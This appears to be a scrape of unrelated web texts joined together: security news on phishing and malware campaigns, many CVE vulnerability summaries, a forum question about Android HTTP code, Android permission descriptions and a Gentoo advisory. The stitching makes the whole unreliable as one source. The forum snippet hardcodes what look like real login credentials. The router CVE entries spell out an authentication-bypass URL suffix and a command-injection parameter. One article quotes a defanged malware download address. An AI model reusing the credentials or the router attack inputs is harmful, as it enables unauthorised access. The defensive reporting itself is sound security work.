The e-mails claim to link to a Web page for the Centers of Disease Control and Prevention where users can register for a new "State Vaccination H1N1 Program." However, anyone who clicks on the link ends up with the Zeus Trojan, a prevalent piece of malware used to steal data off of compromised machines.
Security company AppRiver detected the campaign around 8:15 a.m. (CST) Dec. 1, and a hour later was filtering about nearly 18,000 e-mails per minute. According to Symantec, the domain used in the e-mail links has the format of online.cdc.gov.[RANDOM CHARS].[TLD NAME].im, such as online.cdc.gov.yhnbad.com.im.
"As is usually the case with these campaigns, the URL that is supposed to be a document actually leads to an executable file," blogged Hon Lau of Symantec. "This one is named vacc_profile.exe and is detected by Symantec as Infostealer.Banker.C. Incidentally, the URL is also 'personalized' with the e-mail address of the recipient to make it look that little bit more authentic and less like mass-mailed spam."
The subject lines of the e-mails vary, but some of the ones that have been observed are "Governmental registration program on the H1N1 vaccination" and "Your personal Vaccination Profile."
If you have any doubt about the authenticity of the e-mail, don't click it. Information about H1N1 can be found here on the CDC Website. |
I'm having problems with an app that works when connecting to a remote web server, running a php script against a database. However, when I point the same app to my local web server running on my machine, things doesn't work.
Here's the code I use for connecting to the remote web server (it needs authentication):
(All the networking code is done inside an AsyncTask class.)
HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost(url); StringBuilder authentication = new StringBuilder().append("frankh").append(":").append("vriceI29"); result = Base64.encodeBytes(authentication.toString().getBytes()); httppost.setHeader("Authorization", "Basic " + result); nameValuePairs.add(new BasicNameValuePair("date", date)); httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); is = entity.getContent();
For the connection to the local server, which doesn't use authentication, I'm commenting out these lines:
//StringBuilder authentication = new // StringBuilder().append("frankh").append(":").append("vriceI29"); //result = Base64.encodeBytes(authentication.toString().getBytes()); //httppost.setHeader("Authorization", "Basic " + result);
However, I get two different errors, depending on how I phrase the url to the local web server.
If I use this url: "http://localhost.shoppinglistapp/fetchlist.php"
I get this error:
Error in http connectionjava.net.UnknownHostException: localhost.shoppinglistapp
If I skip the http part in the url, I get this error:
Error in http connectionjava.lang.IllegalStateException: Target host must not be null, or set in parameters.
What am I doing wrong here? The remote server is a Linux Apache server, and the local server is IIS 7. The local server is supposed to be just for working on when I've got no or a bad internet connection, so it's not critical, but I hate not knowing why things doesn't work. |
Hackers are testing new Mac malware that they've ported from a nine-year-old Trojan horse originally written for Linux, according to security experts.
The malware, dubbed "Tsunami," has been circulating in limited numbers since last week, said researchers at the Slovakian antivirus firm, ESET Security.
[ Find out how to block the viruses, worms, and other malware that threaten your business, with hands-on advice from InfoWorld's expert contributors in InfoWorld's "Malware Deep Dive" PDF guide. ]
Tsunami first popped up last week, when ESET malware researcher Robert Lipovsky provided some bare bones information on the Trojan.
"We've seen backdoors [on the Mac] before, but these malware writers are simply reusing existing code instead of writing something new," said Lipovsky in an interview at the time. "It's a lot easier for them."
Lipovsky was referring to the code similarities between the Mac malware and a line of backdoor Trojans that targeted Linux machines as far back as 2002.
"The Linux [malware] is not directly compatible with the Mac OS X platform, but has to be recompiled," said Lipovsky. Unlike the older Linux malware -- also named Tsunami for one of its commands that launches a DDoS (distributed denial-of-service) attack -- the original Mac version was 64-bit.
In most other instances, however, Tsunami on the Mac is strikingly similar to its Linux ancestor, letting attackers issue commands to the infected computer via an IRC (Internet Relay Chat) channel to conduct DDoS attacks, or download additional malware and Trojan updates.
Tsunami for the Mac has been updated, added another ESET researcher, to insure it launched each time an infected Mac desktop or laptop was booted. The newer version, labeled "Tsunami.A," also used a different IRC channel and server for command-and-control, said ESET's Pierre-Marc Bureau in a follow-up blog post .
Lipovsky was unable to pin down how Tsunami's controllers infected Macs with the Trojan; Bureau also said that ESET wasn't sure what tactic attackers were using to plant the malware on machines.
But the short interval between editions and the limited use of the malware led ESET to believe that Tsunami's creators are still testing the Trojan. "They are [still] probably adapting the code, originally written for Linux, to the OS X platform," said Bureau.
U.K.-based Sophos said its analysis showed Tsunami's makers had also come up with a 32-bit version that would execute on older Macs that rely on the PowerPC processor.
Both ESET and Sophos rated the threat as minor.
Gregg Keizer covers Microsoft, security issues, Apple, Web browsers and general technology breaking news for Computerworld. Follow Gregg on Twitter at @gkeizer or subscribe to Gregg's RSS feed. His email address is [email protected].
See more articles by Gregg Keizer.
Read more about security in Computerworld's Security Topic Center.
This story, "Hackers port ancient Linux Trojan to Mac OS X" was originally published by Computerworld. |
Some Lenovo System x server BIOS/UEFI versions, when Secure Boot mode is enabled by a system administrator, do not properly authenticate signed code before booting it. As a result, an attacker with physical access to the system could boot unsigned code.
There is a heap-based buffer over-read in the function ft_font_face_hash of gxps-fonts.c in libgxps through 0.3.0. A crafted input will lead to a remote denial of service attack.
An issue was discovered in Shanghai 2345 Security Guard 3.7.0. 2345MPCSafe.exe allows local users to bypass intended process protections, and consequently terminate process, because WM_SYSCOMMAND is not properly considered.
In Schneider Electric Triconex Tricon MP model 3008 firmware versions 10.0-10.4, when a system call is made, registers are stored to a fixed memory location. Modifying the data in this location could allow attackers to gain supervisor-level access and control system states.
Philips Brilliance CT devices operate user functions from within a contained kiosk in a Microsoft Windows operating system. Windows boots by default with elevated Windows privileges, enabling a kiosk application, user, or an attacker to potentially attain unauthorized elevated privileges in Brilliance 64 version 2.6.2 and prior, Brilliance iCT versions 4.1.6 and prior, Brillance iCT SP versions 3.2.4 and prior, and Brilliance CT Big Bore 2.3.5 and prior. Also, attackers may gain access to unauthorized resources from the underlying Windows operating system.
Philips Brilliance CT software (Brilliance 64 version 2.6.2 and prior, Brilliance iCT versions 4.1.6 and prior, Brillance iCT SP versions 3.2.4 and prior, and Brilliance CT Big Bore 2.3.5 and prior) contains fixed credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data. An attacker could compromise these credentials and gain access to the system.
Vulnerabilities within the Philips Brilliance CT kiosk environment (Brilliance 64 version 2.6.2 and prior, Brilliance iCT versions 4.1.6 and prior, Brillance iCT SP versions 3.2.4 and prior, and Brilliance CT Big Bore 2.3.5 and prior) could enable a limited-access kiosk user or an unauthorized attacker to break-out from the containment of the kiosk environment, attain elevated privileges from the underlying Windows OS, and access unauthorized resources from the operating system.
In Lantech IDS 2102 2.0 and prior, a stack-based buffer overflow vulnerability has been identified which may allow remote code execution. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
In Lantech IDS 2102 2.0 and prior, nearly all input fields allow for arbitrary input on the device. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
In Schneider Electric Triconex Tricon MP model 3008 firmware versions 10.0-10.4, system calls read directly from memory addresses within the control program area without any verification. Manipulating this data could allow attacker data to be copied anywhere within memory.
MapDrv (C:\Program Files\Lenovo\System Update\mapdrv.exe) In Lenovo System Update versions earlier than 5.07.0072 contains a local vulnerability where an attacker entering very large user ID or password can overrun the program's buffer, causing undefined behaviors, such as execution of arbitrary code. No additional privilege is granted to the attacker beyond what is already possessed to run MapDrv.
** DISPUTED ** A stored XSS vulnerability was found in Datenstrom Yellow 0.7.3 via an "Edit page" action. NOTE: the vendor disputes the relevance of this report because an installation accessible to untrusted users is supposed to have parserSafeMode=1 in system/config/config.ini to prevent XSS.
IBM WebSphere Application Server 7.0, 8.0, 8.5, and 9.0 could allow a remote attacker to obtain sensitive information caused by improper handling of Administrative Console panel fields. When exploited an attacker could browse the file system. IBM X-Force ID: 134933.
Apple Swift CVE-2018-4220 Arbitrary Code Execution Vulnerability
Multiple Devices Integrated GPUs CVE-2018-10229 Security Bypass Vulnerability
Cisco Prime Service Catalog CVE-2018-0285 Denial of Service Vulnerability
An issue was discovered on Dasan GPON home routers. It is possible to bypass authentication simply by appending "?images" to any URL of the device that requires authentication, as demonstrated by the /menu.html?images/ or /GponForm/diag_FORM?images/ URI. One can then manage the device.
An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
D-Link DIR-601 A1 1.02NA devices do not require the old password for a password change, which occurs in cleartext.
In Cylance CylancePROTECT before 1470, an unprivileged local user can obtain SYSTEM privileges because users have Modify access to the %PROGRAMFILES%\Cylance\Desktop\log folder, the CyUpdate process grants users Modify access to new files created in this folder, and a new file can be a symlink chain to a pathname of an arbitrary DLL that CyUpdate uses. |
The HelloKitty ransomware group, best known for breaching and stealing data from video game developer CD Projekt Red, has added distributed denial-of-service (DDoS) attacks to its arsenal of extortion tactics.
Extortion Techniques Press Victims for Time
The FBI first detected HelloKitty in January 2021. The gang has made a name for itself by breaching and encrypting the video game developer. In addition, it stole the source code for several of the company’s games.
According to the FBI, the HelloKitty ransomware group tailors each ransom demand to its victims based upon their ability to pay. In the event victims don’t respond quickly enough or don’t pay the ransom, HelloKitty posts their data. They use the Babuk gang website to do this, or sell the data to a third-party broker.
They started using DDoS in November, reported Bleeping Computer. To be specific, the HelloKitty group used a Linux variant to target VMware’s ESXi virtual machine platform.
How Ransomware Extortion Has Changed
This tactic, known as double extortion, first emerged in 2019. With it, ransomware groups exfiltrate victims’ information in plaintext before encrypting their data. That way, the attackers can demand two ransoms. One will be in exchange for a decrypter. The other will be to confirm the attackers have deleted the stolen data from their servers.
Some also use triple extortion directing more ransom demands at a victim’s clients and suppliers. It may also involve extorting employees and customers, or targeting business partners with spear-phishing attacks.
Researchers may also refer to quadruple extortion. In this case, ransomware groups like HelloKitty use DDoS attacks as a means of putting pressure on their victims. Or, in quintuple extortion, some newer ransomware variants like Yanluowang tell their victims to not contact law enforcement agencies or ransomware negotiators. They threaten to target non-compliant victims with DDoS attacks. They can also go after their business partners, as well as repeat the attack in a few weeks’ time and delete their data outright.
Defending Against DDoS-Powered Ransomware Gangs
HelloKitty’s use of DDoS attacks for extortion underscores the need for businesses and agencies to defend themselves against ransomware.
One of the ways they can do that is by using a solution to monitor data usage and access patterns. Such a tool can help spot ransomware gangs disguising themselves as privileged users and/or attempting to execute large data pulls.
Second, businesses can turn to an eXtended Detection and Response (XDR) platform as a means of streamlining threat detection and response across their entire infrastructure. Such a tool can help your people detect and respond more quickly. Thereby, it will help mitigate the impact of digital threats such as ransomware attacks.
Finally, use threat intelligence to defend against emerging ransomware attacks. Then, add that threat intelligence into security awareness training programs to educate employees about new ransomware threats. |
Varnish varnish-modules before 0.17.1 allows remote attackers to cause a denial of service (daemon restart) in some configurations. This does not affect organizations that only install the Varnish Cache product; however, it is common to install both Varnish Cache and varnish-modules. Specifically, an assertion failure or NULL pointer dereference can be triggered in Varnish Cache through the varnish-modules header.append() and header.copy() functions. For some Varnish Configuration Language (VCL) files, this gives remote clients an opportunity to cause a Varnish Cache restart. A restart reduces overall availability and performance due to an increased number of cache misses, and may cause higher load on backend servers. |
The status LEDs present on networking equipment such as routers and switches can be abused to exfiltrate sensitive data from air-gapped systems at relatively high bit rates, researchers have demonstrated.
A paper published this week by the Cyber Security Research Center at the Ben-Gurion University of the Negev in Israel shows how data can be transferred from an air-gapped computer by modulating it using the blinking of a router’s LEDs.
The attack can be carried out either by planting malicious firmware on the targeted router or remotely using a software exploit. The firmware attack may be more difficult to carry out as the router needs to be infected either via the supply chain or social engineering, but the software attack could be easier to conduct given that many devices are affected by remotely exploitable vulnerabilities.
Once the targeted router or switch has been compromised, the attacker can take control of how the LEDs blink. Then, using various data modulation methods, each LED or a combination of LEDs can be used to transmit data to a receiver, which can be a camera or a light sensor.
For example, a “0” bit is transmitted if an LED is off for a specified duration, and a “1” bit is sent if the LED is on for a specified duration. Logical “0” or “1” bits can also be modulated through changes in frequency. In the case of devices that have multiple LEDs, the attacker can use the blinking lights to represent a series of bits, which results in a higher transfer rate.
According to researchers, the method can be used to exfiltrate data at a rate of up to 1,000 bits per second per LED, which is more than enough for stealing passwords and encryption keys. On a networking device with seven LEDs, experts managed to obtain a transfer rate of 10,000 bits per second, or roughly 1 kilobyte per second.
However, the transfer rate also depends on the receiver. For example, if an entry-level DSLR camera is used to capture video of the blinking LEDs, the maximum bit rate that can be achieved at 60 frames per second is 15 bits per second for each LED. The attacker could also use a smartphone camera and obtain a transfer rate of up to 60 bits per second.
The most efficient camera is a GoPro Hero5, which can record at up to 240 frames per second, resulting in a maximum bit rate of up to 120 bits per second for each LED. On the other hand, the best transfer rate can be achieved using a light sensor as the receiver.
In the past years, researchers at the Ben-Gurion University of the Negev have identified several methods that can be used to exfiltrate data from air-gapped systems, including via scanners, HDD activity LEDs, USB devices, the noise emitted by hard drives and fans, and heat emissions. |
Fake Military Veteran Hiring Website Targets US Veteran Job Seekers – Infects Computers with Malware
A malicious one-page website is targeting US Veterans who are looking for work. The scam website offers a free desktop app that supposedly helps readers search for jobs online. The website is believed to be the work of Iranian hacking group, Tortoiseshell.
The scam website was discovered by Cisco Talos Group.
The hackers were recently identified by Symantec as Tortoiseshell. Cyber security researchers at Symantec reported on the other hacking activities of this group just last week.
The one-page scam employment site has only three buttons that prompt Veterans to download a zip file which supposedly gives them a free desktop job search app. Rather than helping unsuspecting victims find jobs, it downloads malware to their computers.
The malware is a combination of an information stealing malware and a RAT malware.
The malicious website is Hiremilitaryheroes [.] com (do not go there)
The scam employment website is named close to a legitimate service run by the U.S. Chamber of Commerce, https://www.hiringourheroes.org. However, the two websites do not look similar and the real website has much more functionality. The legit site helps soon-to-be Veterans find jobs. Based on the close URL name, it appears to be that the spoof website targets that same group of the military population.
The website prompts readers to “Try our desktop app for free:”
The only interactive content on the scam website are the three buttons (pictured). When clicked, they initiate a download of a supposed job search desktop app. The downloaded files supposedly help Veterans find work.
The three buttons link to compressed file downloads for Win 10, Win 8.0, and Win 8.1 The link path names imply each file is for different versions of MS Windows. Hovering over each button reveals a zipped file path with the following file names
Win 10 button /apps/win10.zip
Win 8.8 button /apps/win81.zip
Win 8.0 button /apps/win80.zip
Windows 8.0 is an old version of Windows released in 2012. IT was updated with Windows version 8.1 in 2013. The current version of Windows is 10.
If clicked the download begins. The installer checks if Google is reachable. If not, the installation stops. If it is reachable, the installer downloads two binaries from hxxp: // 199[.]187[.]208[.]75/MyWS.asmx/GetUpdate?val=UID:
One of the binary files is a tool used to perform a reconnaissance stage on the system and the second is the Remote Administrative Tool (RAT Malware).
The hacker can steal information such as the date, time, and computer drivers. The malware also gives the hacker information about the system such as security patches applied, processors, network configuration, hardware, firmware versions, domain controller, and admin name. This information is critical and is more than enough for a hacker to launch further cyber attacks.
The website is not secured with an SSL certificate. There is one third-party tracking cookie from mythemestre.com
What is Malware?
Malware is any kind of undesirable software or app on a laptop, tablet, smartphone, router, or other electronic device. Malware comes in many forms including ransomware, computer viruses, worms, adware, RAT malware, info stealers, and others. Often the goal of malware is to extract money from the device owner by locking up access and demanding a ransom. This type of malware is called ransomware.
Long-term malware campaigns have a low and slow approach a tactic seen with organized hacking groups. Malware can be used to steal information from the infected device and work to escalate privileges. It then spreads to other computers, hardware like routers, and entire IT network’s if it goes undetected. Most malware campaigns begin with email phishing attacks.
What is RAT Malware?
RAT malware is a type of malware that helps hackers increase their level of access on an infected device. For example, hackers attempt to gain admin access and root user privileges in order to access more files and sensitive information. Admin privileges let hackers control a computer, alter files and permissions, and launch further cyber attacks. Admin privileges also help hackers spread malware to other machines and infect entire networks. |
Dealing with computer viruses is a pain. Windows users have been doing this for a while and recently many Mac computers were infected as well. It seems that nobody is safe anymore, or at least everybody should be weary and prepared. The same is true for AutoCAD users as recent headlines would show. The malware “virus” known as ACAD/Medre.A has made an impact in the country of Peru in the past few months according to ESET’s Threat Blog.
ESET (an IT security company headquartered in Bratislava, Slovakia with branch offices in San Diego, U.S.A.; Wexford, Ireland; London, United Kingdom; Buenos Aires, Argentina; Prague, Czech Republic; Singapore and Kraków, Poland and was founded in 1992) shared the news on their Threat Blog and discussed the threat and what it was doing.
ACAD/Medre.A is essentially a worm embedded in an AutoCAD file that sends copies of your open AutoCAD files to one of several different email address, most (if not all) of which are using Chinese ISPs. It isn’t malicious, or damaging your software or hardware. This is actually a case of Industrial Espionage. It is stealing your AutoCAD files! It does this by modifying the native start-up file acad.lsp by being named as the auto-load file acad.fas. It uses Visual Basic Scripts to do this that are in the AutoCAD file. Once ACAD/Medre.A has set up the files it needs to it begins to send out your data by accessing smtp.163.com and smtp.qq.com using different accounts from their respective Chinese based internet providers. ESET advises that your IT department make certain that port 25 closed up in the companies firewall. ACAD/Medre.A creates a password protected RAR file that contains the open drawings, the acad.fas file and a .dxf file. The password that is used is one character, “1”. The .DXF file has the information needed in it that recipient needs to load the stolen files into the proper system with the proper language. For a technical details of ACAD/Medre.A refer to Robert Lipovsky’s blog post and the description in ESET’s Threat Encyclopedia.
There is code in ACAD/Medre.A that looks to see if either Outlook versions 11.0, 12.0 or 13.0 are present. It also looks for Foxmail. It Outlook is there the worm attempts to send a PST file from the computer. These files contain email, calenders, contacts, and more. If Foxmail is there the code is set up to send the Foxmail address book and the Foxmail Send Folder. But according to ESET there is an error in the code that prevents this from happening.
ESET has made a free stand alone cleaner program to rid your computer of this worm. You can download it here:
ESET worked with Autodesk, Tencent and CVERC (ISP’s and Government agencies in China) to develop the remover and to diagnose the issue. They have published a whitepaper on it here:
Here is ESET’s Threat Encycopdeia page on ACAD/Medre.A:
How did ESET detect his and where is the worm? ESET noticed a spike in their monitoring systems in the country of Peru, where most of this has been taking place and began tracking it down. It seems that a template file distributed in Peru was infected. From there it went out to many different companies all of which were doing business with the initial entity. The worm isn't isolated to Peru though. ESET’s information shows that it is widespread throughout Latin America and somewhat in North America as well.
Autodesk has put together an ACAD/Medre.A FAQ page here:
This page discuses the malware bug, how it works, alternate names for it and how to determine if your system has it. Autodesk claims that if your antivirus software is up to date then it should be easily detected. Autodesk has confirmed that Microsoft, Trend Micro, McAfee, Symantec, Avira, and Kaspersky antivirus solutions can clean this malware. Autodesk also says that the ESET stand-alone cleaner can clean this malware. Autodesk recommends using up-to-date virus definitions (as do I) and follow these best practices:
- Do not open archive files (i.e. zip) from unknown users.
- Do not run an unknown AutoLISP file without inspecting it first.
Autodesk also has a knowledge base website where they outline additional best practices to use with Autodesk software. |
A rootkit is a program designed to take fundamental control (in Unix terms "root" access, in Windows terms "Administrator" access) of a computer system, without authorization by the system's legitimate owners
chkrootkit looks for known "signatures" in trojaned system binaries
If chkrootkit can't find a known signature inside a file, it can't automatically determine if it has been trojaned.
The user can try to run chkrootkit in expert mode (-x option) -- in this mode the user can examine suspicious strings in the binary programs that may indicate a trojan.
For a description on all supported modes please refer to the presentation slides.
Rootkits, Worms and LKMs detected
For an updated list of rootkits, worms and LKMs detected by chkrootkit please visit: http://www.chkrootkit.org/
chkrootkit has been tested on: Linux 2.0.x, 2.2.x, 2.4.x and 2.6.x, FreeBSD 2.2.x, 3.x, 4.x and 5.x, OpenBSD 2.x, 3.x and 4.x., NetBSD 1.6.x, Solaris 2.5.1, 2.6, 8.0 and 9.0, HP-UX 11, Tru64, BSDI and Mac OS X.
You can download the malware dumps from the links provided.
The challenge is pretty much straight forward; you must run the latest version of the tool to check which malware (Trojans, viruses) have made it into the database and which have not.
You can find some additional information from: http://www.linuxclues.com/articles/22.htm
Malware Dumps are available on:
You may want to try this one:
You must Sign-In to post a comment. |
Of 62 new crypto ransomware families, 47 can be attributed to Russian-speaking actors. Does the source of an attack matter?
Mike Ahmadi, global director for critical security systems at Synopsys quoted a bit of Sun Tzu at us with, “It is said that if you know your enemies and know yourself, you will not be imperilled in a hundred battles.” His point, and Ahmadi’s, being that ‘knowing who your enemies are empowers you with the knowledge of how well resourced they may be, how motivated they may be, and potentially why they are attacking you in the first place.’
Most others we spoke to agreed that the Kaspersky report, and others, are interesting. “A lot of the C&C infrastructure is based in Russia, this is in part down to the Russians’ relaxed attitude to hosting the fast fluxing and dynamic hosting environments needed by hackers” says Simon Edwards, European cyber-security architect at Trend Micro who continues “but in terms of how important attribution is to companies, I would say in most circumstances not at all.” |
A persistent cross-site scripting (XSS) vulnerability exists in the management web interface (ref # PAN-66838 / CVE-2017-5584).
PAN-OS contains a post-authentication vulnerability that may allow for a persistent cross-site scripting (XSS) attack of the management web interface. Successful exploitation of this issue may allow an attacker to inject arbitrary Java script or HTML.
This issue affects PAN-OS 5.1, PAN-OS 6.0, PAN-OS 6.1.15 and earlier, PAN-OS 7.0.12 and earlier, PAN-OS 7.1.7 and earlier
|PAN-OS 7.1||<= 7.1.7||>= 7.1.8|
|PAN-OS 7.0||<= 7.0.12||>= 7.0.13|
|PAN-OS 6.1||<= 6.1.15||>= 6.1.16|
CVSSv3.1 Base Score: 5.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
PAN-OS 6.1.16 and later, PAN-OS 7.0.13 and later, PAN-OS 7.1.8 and later
Palo Alto Networks recommends to implement best practice by allowing web interface access only to a dedicated management network. Additionally, restrict the set of IP addresses to a subset of authorized sources that you allow to interact with the management network. |
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A CWE-347: Improper Verification of Cryptographic Signature vulnerability exists in the SGIUtility component that allows adversaries with local user privileges to load a malicious DLL which could result in execution of malicious code. Affected Products: EcoStruxure Operator Terminal Expert(V3.3 Hotfix 1 or prior), Pro-face BLUE(V3.3 Hotfix1 or prior).
A CWE-347: Improper Verification of Cryptographic Signature vulnerability exists that allows adversaries with local user privileges to load a malicious DLL which could lead to execution of malicious code. Affected Products: EcoStruxure Operator Terminal Expert(V3.3 Hotfix 1 or prior), Pro-face BLUE(V3.3 Hotfix1 or prior).
Grafana is an open source observability and data visualization platform. Versions prior to 9.1.8 and 8.5.14 are vulnerable to a bypass in the plugin signature verification. An attacker can convince a server admin to download and successfully run a malicious plugin even though unsigned plugins are not allowed. Versions 9.1.8 and 8.5.14 contain a patch for this issue. As a workaround, do not install plugins downloaded from untrusted sources.
node SAML is a SAML 2.0 library based on the SAML implementation of passport-saml. A remote attacker may be able to bypass SAML authentication on a website using passport-saml. A successful attack requires that the attacker is in possession of an arbitrary IDP signed XML element. Depending on the IDP used, fully unauthenticated attacks (e.g without access to a valid user) might also be feasible if generation of a signed message can be triggered. Users should upgrade to node-saml version 4.0.0-beta5 or newer. Disabling SAML authentication may be done as a workaround.
Passport-SAML is a SAML 2.0 authentication provider for Passport, the Node.js authentication library. A remote attacker may be able to bypass SAML authentication on a website using passport-saml. A successful attack requires that the attacker is in possession of an arbitrary IDP signed XML element. Depending on the IDP used, fully unauthenticated attacks (e.g without access to a valid user) might also be feasible if generation of a signed message can be triggered. Users should upgrade to passport-saml version 3.2.2 or newer. The issue was also present in the beta releases of `node-saml` before version 4.0.0-beta.5. If you cannot upgrade, disabling SAML authentication may be done as a workaround.
syslabs/sif is the Singularity Image Format (SIF) reference implementation. In versions prior to 2.8.1the `github.com/sylabs/sif/v2/pkg/integrity` package did not verify that the hash algorithm(s) used are cryptographically secure when verifying digital signatures. A patch is available in version >= v2.8.1 of the module. Users are encouraged to upgrade. Users unable to upgrade may independently validate that the hash algorithm(s) used for metadata digest(s) and signature hash are cryptographically secure.
Cosign is a project under the sigstore organization which aims to make signatures invisible infrastructure. In versions prior to 1.12.0 a number of vulnerabilities have been found in cosign verify-blob, where Cosign would successfully verify an artifact when verification should have failed. First a cosign bundle can be crafted to successfully verify a blob even if the embedded rekorBundle does not reference the given signature. Second, when providing identity flags, the email and issuer of a certificate is not checked when verifying a Rekor bundle, and the GitHub Actions identity is never checked. Third, providing an invalid Rekor bundle without the experimental flag results in a successful verification. And fourth an invalid transparency log entry will result in immediate success for verification. Details and examples of these issues can be seen in the GHSA-8gw7-4j42-w388 advisory linked. Users are advised to upgrade to 1.12.0. There are no known workarounds for these issues.
Dendrite is a Matrix homeserver written in Go. In affected versions events retrieved from a remote homeserver using the `/get_missing_events` path did not have their signatures verified correctly. This could potentially allow a remote homeserver to provide invalid/modified events to Dendrite via this endpoint. Note that this does not apply to events retrieved through other endpoints (e.g. `/event`, `/state`) as they have been correctly verified. Homeservers that have federation disabled are not vulnerable. The problem has been fixed in Dendrite 0.9.8. Users are advised to upgrade. There are no known workarounds for this issue.
Emerson Electric's Proficy Machine Edition Version 9.00 and prior is vulenrable to CWE-347 Improper Verification of Cryptographic Signature, and does not properly verify compiled logic (PDT files) and data blocks data (BLD/BLK files).
PolicyController is a utility used to enforce supply chain policy in Kubernetes clusters. In versions prior to 0.2.1 PolicyController will report a false positive, resulting in an admission when it should not be admitted when there is at least one attestation with a valid signature and there are NO attestations of the type being verified (--type defaults to "custom"). An example image that can be used to test this is `ghcr.io/distroless/static@sha256:dd7614b5a12bc4d617b223c588b4e0c833402b8f4991fb5702ea83afad1986e2`. Users should upgrade to version 0.2.1 to resolve this issue. There are no workarounds for users unable to upgrade.
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Allows an application to view the state of all networks.
Your personal information
write contact data
Allows an application to modify the contact (address) data stored on your phone. Malicious applications can use this to erase or modify your contact data.
read phone state and identity
Allows the application to access the phone features of the device. An application with this permission can determine the phone number and serial number of this phone, whether a call is active, the number that call is connected to, ect.
Allows the application to control the vibrator.
mock location sources for testing
Create mock location sources for testing. Malicious applications can use this to override the location and/or status returned by real location sources such as GPS or Network providers.
fine (GPS) location
Access fine location sources such as the Global Positioning System on the phone, where available. Malicious applications can use this to determine where you are, and may consume additional battery power.
coarse (network-based) location
Access coarse location sources such as the cellular network database to determine an approximate phone location, where available. Malicious applications can use this to determine approximately where you are. |
Joined: 12 May 2004
|Posted: Thu Oct 18, 2007 8:26 pm Post subject: [ GLSA 200710-18 ] util-linux: Local privilege escalation
|Gentoo Linux Security Advisory
Title: util-linux: Local privilege escalation (GLSA 200710-18)
Date: October 18, 2007
The mount and umount programs might allow local attackers to gain root privileges.
util-linux is a suite of Linux programs including mount and umount, programs used to mount and unmount filesystems.
Vulnerable: < 2.12r-r8
Unaffected: >= 2.12r-r8
Architectures: All supported architectures
Ludwig Nussel discovered that the check_special_mountprog() and check_special_umountprog() functions call setuid() and setgid() in the wrong order and do not check the return values, which can lead to privileges being dropped improperly.
A local attacker may be able to exploit this vulnerability by using mount helpers such as the mount.nfs program to gain root privileges and run arbitrary commands.
There is no known workaround at this time.
All util-linux users should upgrade to the latest version:
|# emerge --sync
# emerge --ask --oneshot --verbose ">=sys-apps/util-linux-2.12r-r8" |
Researchers Detail Exploit Chain for Hijacking Atlassian Accounts
Researchers at cybersecurity firm Check Point discovered several vulnerabilities that could have been chained to take over Atlassian accounts or access a company’s Bitbucket-hosted source code. Atlassian patched the flaws before their details were made public.
The software development and collaboration tools made by Australia-based Atlassian are used by more than 150,000 organizations worldwide, which can make the company’s products a tempting target for malicious actors.
Check Point reported on Thursday that its researchers identified a series of vulnerabilities affecting several Atlassian applications connected through single sign-on (SSO). Impacted subdomains included jira.atlassian.com, confluence.atlassian.com, getsupport.atlassian.com, partners.atlassian.com, developer.atlassian.com, support.atlassian.com, and training.atlassian.com.
In order to trigger the exploit chain and take control of an account, the attacker only needed to convince the targeted user to click on a malicious link.
Check Point researchers also showed how an attacker could have targeted Atlassian’s source code repository hosting service Bitbucket. An attacker who could trick a user into clicking on a malicious link could have stolen that user’s credentials.
“Accessing a company’s Bitbucket repositories could allow attackers to access and change source code, make it public or even plant backdoors,” the researchers warned.
Contacted by SecurityWeek, an Atlassian spokesperson said that based on the company’s investigation, the vulnerabilities impacted “a limited set of Atlassian-owned web applications as well as a third-party training platform.”
“Atlassian has shipped patches to address these issues and none of these vulnerabilities affected Atlassian Cloud (like Jira or Confluence Cloud) or on-premise products (like Jira Server or Confluence Server),” the company said.
Check Point has published a blog post detailing its findings, as well as a video showing the exploits in action. |
Worm Turns Sun Against Microsoft
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Sun and Microsoft may compete bitterly in the Internet server marketplace, but to eradicate a new and rapidly spreading malicious worm, Sun Solaris and Microsoft IIS administrators will have to cooperate closely, security experts said Tuesday.
The CERT Coordination Center Tuesday warned of a new self-propagating program, which it has dubbed the sadmind/IIS worm. Using a well-known vulnerability in each operating system, the worm turns a Sun Solaris server into a robot which silently sniffs out Windows NT or 2000 systems running IIS and defaces their home pages.
CERT's Shawn Hernan said that by mid-day Monday, more than 30 Solaris system operators had reported being infected by the worm, which exploits a buffer-overflow bug in a Solstice component known as sadmind to gain root-level control of the server. Initially unbeknownst to their operators, the infected Sun machines had run a script which uses a well-known vulnerability known as Unicode to compromise more than 2,000 remote IIS servers. Using log files created by the worm on the Solaris host, the Internet security reporting center has begun contacting system administrators of the compromised Windows systems.
The sadmind/IIS worm propagates from an infected Solaris machine by probing port 80 on a random Class B set of IP addresses, looking for the signature of other Solaris or IIS web servers. Should it find another vulnerable Solaris machine, the worm will upload its attack tool, root.exe, and infect the server.
The sadmind/IIS worm doesn't destroy data on either the Solaris host or IIS victims, but CERT's Hernan said the worm could open Solaris systems to subsequent attacks. According to Hernan, the quick spread of the worm suggests many Solaris systems have not applied the patch released by Sun on December 29, 1999.
"We're a little surprised at the number of systems that are being compromised by this. But you can imagine it would be easy for Solaris administrators to overlook that patch given all the Y2K concerns at the time. So that might explain the fact that it's 18 months old but hasn't been addressed widely."
CERT's advisory lists several ways that Solaris administrators can determine whether their systems have been infected with the worm, such as the existence of suspicious processes and directories created by the worm. The security center urges operators to attempt to contact operators of IIS servers listed in the log file stored in the directory /dev/cub.
Similarly, admins of compromised IIS web servers should attempt to identify and contact the operator of the Solaris host which propagated the worm by reviewing their IIS log files for GET requests for the file root.exe, according to CERT.
"We encourage administrators to contact the other sites that have been involved. That's the fundamental advice we give people," said Hernan. |
Spyware is increasingly being used by criminals to sniff out user passwords and log keystrokes, according to new research.
